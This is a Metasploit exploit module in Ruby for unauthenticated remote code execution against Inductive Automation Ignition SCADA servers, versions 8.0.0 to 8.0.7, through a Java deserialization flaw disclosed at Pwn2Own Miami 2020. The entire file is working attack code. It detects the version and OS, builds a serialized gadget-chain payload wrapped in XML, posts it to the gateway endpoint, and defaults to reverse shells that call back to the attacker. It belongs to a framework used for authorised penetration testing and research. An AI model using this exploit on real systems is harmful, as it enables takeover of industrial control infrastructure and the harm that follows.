##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Inductive Automation Ignition Remote Code Execution',
        'Description' => %q{
          This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product,
          versions 8.0.0 to (and including) 8.0.7.
          This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows.
          The default configuration is exploitable by an unauthenticated attacker, which can achieve
          remote code execution as SYSTEM on a Windows installation and root on Linux.
          The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro +
          Radek Domanski).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>',                    # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'],
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'],
          [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'],
          [ 'CVE', '2020-10644'],
          [ 'CVE', '2020-12004'],
          [ 'ZDI', '20-685'],
          [ 'ZDI', '20-686'],
        ],
        'Privileged' => true,
        'Platform' => %w[unix win],
        'DefaultOptions' => {
          'WfsDelay' => 15
        },
        'Targets' => [
          [ 'Automatic', {} ],
          [
            'Windows',
            {
              'Platform' => 'win',
              'DefaultOptions' =>
              { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Linux',
            {
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD],
              'DefaultOptions' =>
              { 'PAYLOAD' => 'cmd/unix/reverse_python' }
            },
          ]
        ],
        'DisclosureDate' => '2020-06-11',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(8088)
      ]
    )
  end

  def version_get
    res = send_request_cgi({
      'uri' => '/system/gwinfo',
      'method' => 'GET'
    })

    if res && res.code == 302
      # try again, versions < 8 use a different URL
      res = send_request_cgi({
        'uri' => '/main/system/gwinfo',
        'method' => 'GET'
      })
    end

    if res && res.code == 200
      # Regexp to get the version of the server
      version = res.body.match(/;Version=([0-9.]{3,});/)
      if version
        return version[1]
      end
    end
    return ''
  end

  def os_get
    res = send_request_cgi({
      'uri' => '/system/gwinfo',
      'method' => 'GET'
    })
    if res && res.code == 200
      # Regexp to get the OS
      os = res.body.match(/OS=([a-zA-Z0-9\s]+);/)
      return os[1]
    end
  end

  def create_java_str(payload)
    (
      "\xac\xed" +                  # STREAM_MAGIC
      "\x00\x05" +                  # STREAM_VERSION
      "\x74" +                      # String object
      [payload.length].pack('n') +  # length
      payload
    ).force_encoding('ascii')       # is this needed in msf?
  end

  def check
    version = Rex::Version.new(version_get)
    if version.segments.length < 3
      fail_with(Failure::Unknown, 'Failed to obtain target version')
    end
    print_status("#{peer} - Detected version #{version}")
    if version >= Rex::Version.new('8.0.0') && version <= Rex::Version.new('8.0.7')
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def pick_target
    os = os_get
    if os.include?('Windows')
      return targets[1]
    elsif os.include?('Linux')
      return targets[2]
    else
      fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.")
    end
  end

  def exploit
    # Check if automatic target selection is set
    if target.name == 'Automatic'
      my_target = pick_target
    else
      my_target = target
    end
    print_status("#{peer} - Attacking #{my_target.name} target")

    # <version> is a CRC32 calculated by the server that we didn't want to reverse
    # However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
    # (line 383 of gateway-8.0.7.jar)
    # ... it will helpfully ignore the version if set to 0
    data =
      '<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\
      '<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\
      '<![CDATA['

    version = Rex::Version.new(version_get)

    if version
      print_status("#{peer} - Detected version #{version}")
    else
      print_error("#{peer} - Target has an unknown version, this might not work...")
    end

    # Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works!
    #
    # An alternative to this would be GET /system/launchmf/D which will helpfully return
    # a list of all the jars in the system, letting us pick the right gadget chain.
    # However only 8.0.0 differs, so let's just have a special case for that.
    if version == Rex::Version.new('8.0.0')
      lib = 'CommonsCollections6'
    else
      lib = 'CommonsBeanutils1'
    end

    java_payload = generate_java_deserialization_for_payload(lib, payload)
    java_payload = Rex::Text.encode_base64(java_payload)
    java_payload = create_java_str(java_payload)
    java_payload = Rex::Text.encode_base64(java_payload)
    data += java_payload

    data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>'

    print_status("#{peer} - Sending payload...")

    res = send_request_cgi({
      'uri' => '/system/gateway',
      'method' => 'POST',
      'data' => data
    })

    if res&.body&.include?('Unable to load project diff.')
      print_good("#{peer} - Success, shell incoming!")
    else
      print_error("#{peer} - Something is not right, try again?")
    end
  end
end
